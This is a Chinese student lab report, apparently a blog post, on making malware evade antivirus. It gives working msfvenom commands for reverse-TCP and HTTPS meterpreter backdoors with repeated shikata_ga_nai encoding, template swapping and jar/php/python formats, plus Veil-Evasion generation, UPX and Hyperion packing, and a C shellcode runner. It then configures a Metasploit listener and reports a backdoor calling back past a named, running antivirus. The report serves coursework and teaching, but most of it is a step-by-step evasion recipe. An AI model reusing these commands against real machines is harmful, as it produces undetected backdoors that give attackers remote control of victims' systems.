20212408 2023-2024-2 《网络与系统攻防技术》实验三实验报告

20212408 2023-2024-2 《网络与系统攻防技术》实验三实验报告

一、实验内容

1.实践内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验要求

掌握免杀原理与技术

3.问题回答
  • (1)杀软是如何检测出恶意代码的?
    病毒特征库匹配:杀软会使用病毒特征库,其中包含已知病毒和恶意软件的特征信息。当扫描文件时,杀软会比对文件的特征与特征库中的内容,如果匹配,则认定为恶意代码。

行为检测:杀软通过监视程序的行为来检测潜在的恶意活动。例如,如果一个程序试图修改关键系统文件或以特定方式访问网络,杀软可能会将其标记为潜在的恶意软件。

  • (2)免杀是做什么?
    免杀是指恶意软件作者采取各种技术手段,使其恶意软件能够逃避杀毒软件的检测和识别,从而成功地在目标系统上运行而不被发现。

免杀技术全称为反杀毒技术,躲避杀毒软件的检测。它指的是一种能使病毒木马免于被杀毒软件查杀的技术。免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

  • (3)免杀的基本方法有哪些?
    加密和压缩、代码混淆、动态加载、虚拟机检测、漏洞利用、文件格式欺骗…

二、实验过程

2.1 MSF编码器

msfvenom:生成木马程序,并在目标机上执行、在主控机监听

#参数说明
-p, --payload		#指定需要使用的payload(攻击载荷)。
-f, --format		#指定输出格式
-e, --encoder		#指定需要使用的encoder(编码器)
-a, --arch			#指定payload的目标架构
    --platform		#指定payload的目标平台
-b, --bad-chars		#设定规避字符集,badchar是payload中需要去除的字符
-i, --iterations	#指定payload的编码次数
-x					#使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中
-o, --out			#保存payload

VirusTotal:一个提供免费的可疑文件分析服务的网站。2004年6月由创始人Hispasec Sistemas创立。使用多种反病毒引擎对您所上传的文件进行检测, 以判断文件是否被病毒, 蠕虫, 木马, 以及各类恶意软件感染。

Virscan:一个非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对用户上传的可疑文件进行在线扫描,并可以立刻将检测结果显示出来,从而提供给用户可疑程度的建议。

2.1.1不同编码次数

首先使用msfvenom -l encoders查看编码器类型:
请添加图片描述
然后设置不同的编码次数,通过VirusScan扫描。

1.首先我们使用Virus Total,Virscan来检测实验二中的后门程序,如图所示VirusTotal的检出率为56/71,Virscan的检出率为25/47。
请添加图片描述
请添加图片描述
2.然后我们使用x86/shikata_ga_nai对后门程序进行一次编码,使用命令如下:

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.47.158 LPORT=2408 -f exe > 20212408backdoor_1.exe # 其中192.168.47.158为Windows反弹回连Kali的IP地址
# -e <encoder> 指定编码器,可以通过-l encoders查看所有编码器
# -b <list>:设置payload中需要避免的字符

在这里插入图片描述

再次使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为56/71,Virscan的检出率20/47,可以发现,仅进行一次编码对于实现免杀并没有实质性作用。
请添加图片描述
请添加图片描述
3.然后再进行多次编码的方式来实现免杀,代码如下:

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.47.158 LPORT=2408 -f exe > 20212408——backdoor_10.exe # 其中192.168.56.112为Windows反弹回连Kali的IP地址
# -e <encoder> 指定编码器,可以通过-l encoders查看所有编码器
# -b <list>:设置payload中需要避免的字符
# -i <count> 指定编码迭代的次数

在这里插入图片描述

再次使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为56/72(不降反升),Virscan的检出率为20/47(稍微降低),可以发现,进行十次编码对于实现免杀并没有实质性作用。
请添加图片描述
请添加图片描述
4.然后我们使用x86/shikata_ga_nai对后门程序进行15次编码,使用命令如下:

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b '\x00' LHOST=192.168.47.158 LPORT=2408 -f exe > 20212408_backdoor_15.exe # 其中192.168.56.112为Windows反弹回连Kali的IP地址
# -e <encoder> 指定编码器,可以通过-l encoders查看所有编码器
# -b <list>:设置payload中需要避免的字符
# -i <count> 指定编码迭代的次数

请添加图片描述
再次使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为56/72,Virscan的检出率为20/47,可以发现,进行15次编码对于实现免杀并没有实质性作用。
请添加图片描述
请添加图片描述
结论:多次编码能起到一点点的免杀效果,但是并不明显,所以不必再纠结编码次数。
原因分析:
shikata_ga_nai总需要将解码部分加入到exe中,杀软只需要盯住该部分即可有效识破伪装
msfvenom总是以固定的模版来生成exe文件,同时如果使用默认参数或者模版,也会有某些固定特征。杀软只需要用其模版建立特征库即可进行有效识别

2.1.2 不同输出格式

1.接下来,我们尝试通过不同编码器组合多次编码的方法进行免杀,使用命令如下:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.47.158 LPORT=2408 -f raw | msfvenom -a x64 --platform windows -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/alpha_upper -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/countdown -c 5 -f exe > 20212408_backdoor_mix.exe
# 其中192.168.47.158为Windows反弹回连Kali的IP地址
# -e <encoder> 指定编码器,可以通过-l encoders查看所有编码器
# -b <list>:设置payload中需要避免的字符
# -i <count> 指定编码迭代的次数

请添加图片描述
请添加图片描述

再次使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为55/71,Virscan的检出率为22/47,可以发现,进行混合多次编码对于实现免杀并没有实质性作用。
请添加图片描述
请添加图片描述
2.更换模板文件,使用微软sysinternals套件中的Process Explorer程序作为自定义可执行程序模块,再测试一下效果,首先下载Process Explorer,链接:https://download.sysinternals.com/files/ProcessExplorer.zip ,解压后我们使用其中的procexp.exe当作模板,命令如下:

msfvenom -p windows/x64/meterpreter/reverse_tcp -x procexp.exe LHOST=192.168.47.158 LPORT=2408 -f exe > 20212408_backdoor_procexp.exe # 其中192.168.56.112为Windows反弹回连Kali的IP地址
# -x <path>:使用一个可执行文件当作模板。

请添加图片描述
在这里插入图片描述

使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为24/71,Virscan的检出率为9/47,可以发现,更改模板为Process Explorer后杀毒软件检出率有所下降
请添加图片描述
请添加图片描述
3.我们尝试生成其他文件的格式,看看检出率会不会有所下降。首先试试生成.jar格式的文件,由于要生成jar包,所以payload我们应该使用java/shell_reverse_tcp,更改后的命令如下:

msfvenom -p java/shell_reverse_tcp LHOST=192.168.47.158 LPORT=24008 -f jar > 20212408_backdoor_java.jar

在这里插入图片描述
使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为32/60,Virscan的检出率为6/21,可以发现,更改文件格式为.jar后杀毒软件检出率相比.exe格式有所下降。
请添加图片描述
请添加图片描述
4.然后再试试生成.php格式的文件,由于要生成php文件,所以payload我们应该使用php/meterpreter/reverse_tcp,且文件格式应选择raw,更改后的命令如下:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.47.158 LPORT=2408 -f raw > 20212408_backdoor_php.php

请添加图片描述
使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为21/56,Virscan的检出率为3/51,可以发现,更改文件格式为.php后杀毒软件检出率相比.exe格式有所下降。
在这里插入图片描述
在这里插入图片描述
5.最后生成.py格式的文件,由于要生成python文件,所以payload我们应该使用python/meterpreter/reverse_tcp,文件格式不作出选择,若指定参数-f python反而无法达到反弹连接的效果,更改后的命令如下:

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.47.158 LPORT=2408 > 20212408_backdoor_python.py

请添加图片描述
使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为17/61,Virscan的检出率为3/47,可以发现,更改文件格式为.py后杀毒软件检出率相比.exe格式有所下降。
在这里插入图片描述
在这里插入图片描述

2.2 Veil

2.2.1 安装Veil

工具安装:免杀Payload生成工具Veil的下载与使用。安装流程冗长,可能出现很多未知错误。
实在装不上就在kali里面下载docker,在docker里面安装veil。
首先我们在kali中安装veil,使用如下命令:

apt -y install veil # 执行此命令后稍作等待

请添加图片描述
在这里插入图片描述
然后从GitHub上clone一个依赖库,如果网络不好的话可能会clone失败。如果出现这种情况,我们首先使用命令:

vim /usr/share/veil/config/setup.sh
/usr/share/veil/config/setup.sh --force --silent # 等待上一条命令完成后执行本条命令

然后在260行处可以找到一个git clone https://github.com/Veil-Framework/VeilDependencies.git的命令,将命令中的链接复制,然后参照快速通过中转方式下载GitHub/GitLab仓库 - ZNing所提供的方法fork一个Gitee仓库,再将原来的Github链接修改为Gitee链接的地址,保存后再执行第二条命令
这里提供一个Gitee仓库:https://gitee.com/githubren/VeilDependencies.git 直接用该链接覆盖原Github链接即可
请添加图片描述
在安装的过程中会弹出很多软件的安装页面,具体的安装程序如下:
首先需要输入:apt-get install pip

然后输入:apt-get install git
然后会跳出下图的选择界面。
请添加图片描述
选择“是”,然后接着进行veil的安装操作。

需要输入:apt-get install veil
注意:有的学长的博客中给出apt -y install veil
这条指令不能将veil所需的软件全部安装,最终会陷入安装循环,始终无法完成veil的配置。

途中会跳出一些需要安装的软件:
首先是需要安装一个python:
请添加图片描述
然后要求安装pywin:
请添加图片描述
然后是安装autolot:
请添加图片描述
请添加图片描述
不过要注意,可能是因为语言不支持显示,在安装的提示符中全部都是方格,这里我们要注意,一直都是按中间的按键是继续,不能按其他的按键。

然后完成安装:
请添加图片描述
至此,veil的安装完成。

2.2.2 veil生成后门程序

首先打开veil
在这里插入图片描述
然后打开veil工具

Veil>: use evasion # 使用evasion工具

在这里插入图片描述
然后配置后门程序的属性:

Veil/Evasion>: use c/meterpreter/rev_tcp.py
[c/meterpreter/rev_tcp>>]: set LHOST 192.168.56.112
[c/meterpreter/rev_tcp>>]: set LPORT 8000
[c/meterpreter/rev_tcp>>]: generate
 [>] Please enter the base name for output files (default is payload): 20212408_backdoor_veil

在这里插入图片描述
可以发现,可执行文件保存在路径:/var/lib/veil/output/compiled/中。而Metasploit Resource file保存在路径:/var/lib/veil/output/handlers/中。

在这里插入图片描述
在这里插入图片描述

结论:Veil-Evasion的免杀效果与msfvenom相比差别不大,常用的payload免杀效果都不是太理想。

2.3 加壳

2.3.1 UPX压缩壳

UPX是一款先进的可执行程序文件压缩器,能使压缩过的可执行文件体积缩小50%-70%,有效防止程序被反编译破解。并且压缩过的程序完全没有功能损失,对于支持的大多数格式没有运行时间或内存的不利后果。

apt-get install upx	#安装UPX
upx mwm.exe -o mwm_upx.exe #前者为待压缩程序名,后者为压缩后程序名

在这里插入图片描述

sudo apt-get install upx
upx 20212408_backdoor_veil.exe -o 20212408_backdoor_upx.exe

在这里插入图片描述
再次使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为48/71,Virscan的检出率16/47
在这里插入图片描述
在这里插入图片描述
比压缩前,不难发现压缩后确实具有一定的免杀效果

2.3.2 加密壳

使用Kali中一个开源的加密器,名为Hyperion,能规避反病毒软件

cp mwm.exe /usr/share/windows-resources/hyperion/	#将待加密程序拷贝到工作目录下
cd /usr/share/windows-resources/hyperion	#进入工作目录下
wine hyperion.exe -v mwm.exe mwm_hyp.exe #前者为待加密程序名,后者为加密后程序名

在这里插入图片描述
在这里插入图片描述
完成加密壳的操作。
在这里插入图片描述
再次使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为51/71,Virscan的检出率25/47
在这里插入图片描述
在这里插入图片描述
发现免杀效果并没有太大的提升。

2.4 C + shellcode编程

首先使用msfvenom生成一个shellcode数组,然后使用该数组编写一个c语言程序

#生成Shellcode
msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.47.163 LPORT=2408 -f c

在这里插入图片描述

#编写程序
vim 20212408zsj.c #进入vim编辑器,没有文件会新建
程序内容如下:
	unsigned char buf[] = "生成的shellcode";
	int main()
	{
	    int (*func)() = (int(*)())buf;//buf强转成函数型指针
	    func();
	}

在这里插入图片描述

#编译器在64位系统上构建32位应用程序
i686-w64-mingw32-g++ mwm.c -o mwm.exe

再次使用Virscan来检测生成的后门程序,如图所示,Virscan的检出率9/47
在这里插入图片描述

2.5 通过组合应用各种技术实现恶意代码免杀

首先我们使用C + Shellcode技术生成C源代码文件,在生成命令中使用编码器x86/shikata_ga_nai进行10次编码,命令如下:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.47.163 LPORT=2408 -f c > 20212408shellcode.c

使用如下命令添加主函数:

cat >>20212408shellcode.c<<EOF
int main(){
	int (*func)() = (int(*)())buf;
	func();
}
EOF

将生成的C源代码使用交叉编译的方法编译成Windows的可执行程序,命令如下:

i686-w64-mingw32-gcc 20212408shellcode.c -o 20212408shellcode.exe

使用hyperion给程序加上一层加密壳,命令如下:

wine /usr/share/windows-resources/hyperion/hyperion.exe -v 20212408shellcode.exe 20212408shellcode_hyp.exe

然后再使用upx给程序加上一层压缩壳,命令如下:

upx 20212408shellcode.hyed.exe -o 20212408shellcode.upxed.exe

将生成的可执行程序传到Windows上,使用杀毒软件进行扫描,结果没有报毒。
请添加图片描述

2.6 用另一电脑实测,在杀软开启的情况下,可运行并回连成功

在Kali上的终端输入命令msfconsole打开msf控制台,等待程序初始化完成后输入以下指令获取Windows的Shell:

use exploit/multi/handler # 进入监听模块
# [*] Using configured payload generic/shell_reverse_tcp
set payload windows/meterpreter/reverse_tcp # 设置攻击载荷为64位Windows的反弹TCP连接
# payload => windows/meterpreter/reverse_tcp
set LHOST 192.168.47.163 # 设置Kali的IP地址,请与后门程序的LHOST参数保持一致
# LHOST => 192.168.47.163
set LPORT 2408 # 设置端口号,请与后门程序的LPORT参数保持一致
# LPORT => 2408
exploit
# [*] Started reverse TCP handler on 192.168.47.163.2408
# 当出现上面的提示时在Windows上打开后门程序

在这里插入图片描述

请添加图片描述
在Windows上运行后门程序,可以发现,后门程序成功实现反弹连接,使用金山毒霸如下图所示:
病毒库版本:2024.03.28.13
软件版本:15.2024.1.3.032800.1509请添加图片描述

三、问题与解决方案

  • 问题一:veil无法安装

解决方案:
跟着学长实验报告时操作时候发现并没有完成veil的安装,
并且从网上搜了很多教程,仍然无法解决无法安装的问题,于是经过多次尝试,发现只有2022年2月的kali镜像可以完成安装。
在这里插入图片描述
如图所示,下载多个镜像,并且重复多次安装虚拟机,试验出一个可以顺利完成的镜像。

  • 问题二: 加密壳第一次使用正常,第二次使用提示内存不足
    在这里插入图片描述

解决方案:
开始选择将缓存空间进行清理,但是清理之后仍然无法调用wine;
于是选择将之前创建的程序删除,但是显示权限不足,正在被运行,于是我重启虚拟机进行删除后完成操作。

四、心得与体会

完成这些实验后,我对恶意代码免杀技术有了更深入的了解。通过使用 Metasploit 编码器、Veil-Evasion 加壳工具以及自己编写 shellcode 的方式,我意识到了恶意代码免杀不仅仅是简单地绕过杀软的检测,更是一项需要综合考虑多种因素的技术挑战。我学会了如何使用编码器来对 shellcode 进行编码,以及如何使用 Veil-Evasion 工具进行加壳。这些工具和技术使得恶意代码可以在杀软的监测下更隐蔽地运行,增加了攻击者的成功几率。通过自己编写 shellcode 并将其嵌入到 C 语言程序中,我深刻体会到了恶意代码的危害性。即使是简单的一段 shellcode,也可以在不经意间控制目标系统,造成严重的安全威胁。最重要的是,这些实验让我意识到网络安全工作的重要性。在当今数字化的社会中,恶意代码的威胁越来越严重,而作为安全从业者,我们需要不断学习和研究,以及时发现并防范各种安全威胁。

五、参考资料

1.https://www.cnblogs.com/chw123/p/16114976.html
2.https://www.virscan.org/report/c8a7cef442ac8c2975bbe041069af987e30e03c36ae2ab5741bf2f4f55986912 virscan网站
3.https://blog.csdn.net/weixin_43713800/article/details/103940623 解决veil(虽然未成功)

  • 9
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值